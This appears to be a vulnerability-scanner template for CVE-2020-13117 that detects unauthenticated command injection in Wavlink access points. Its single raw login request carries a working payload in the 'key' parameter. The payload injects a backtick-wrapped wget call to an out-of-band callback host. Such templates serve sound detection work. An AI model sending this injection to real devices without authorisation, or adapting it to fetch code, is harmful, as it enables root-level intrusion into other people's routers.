id: CVE-2020-13117

info:
  name: Wavlink Multiple AP - Unauthenticated RCE
  author: gy741
  severity: critical
  description: Several Wavlink products are affected by a vulnerability that may allow remote unauthenticated users to execute arbitrary commands as root on Wavlink devices. The user input is not properly sanitized which allows command injection via the "key" parameter in a login request. It has been tested on Wavlink WN575A4 and WN579X3 devices, but other products may be affected.
  reference:
    - https://blog.0xlabs.com/2021/02/wavlink-rce-CVE-2020-13117.html
  tags: cve,cve2020,wavlink,rce,oob

requests:
  - raw:
      - |
        POST /cgi-bin/login.cgi HTTP/1.1
        Host: {{Hostname}}
        Cache-Control: max-age=0
        Upgrade-Insecure-Requests: 1
        Origin: http://{{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
        Accept-Encoding: gzip, deflate
        Connection: close

        newUI=1&page=login&username=admin&langChange=0&ipaddr=192.168.1.66&login_page=login.shtml&homepage=main.shtml&sysinitpage=sysinit.shtml&hostname=wifi.wavlink.com&key=%27%3B%60wget+http%3A%2F%2F{{interactsh-url}}%3B%60%3B%23&password=asd&lang_select=en
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"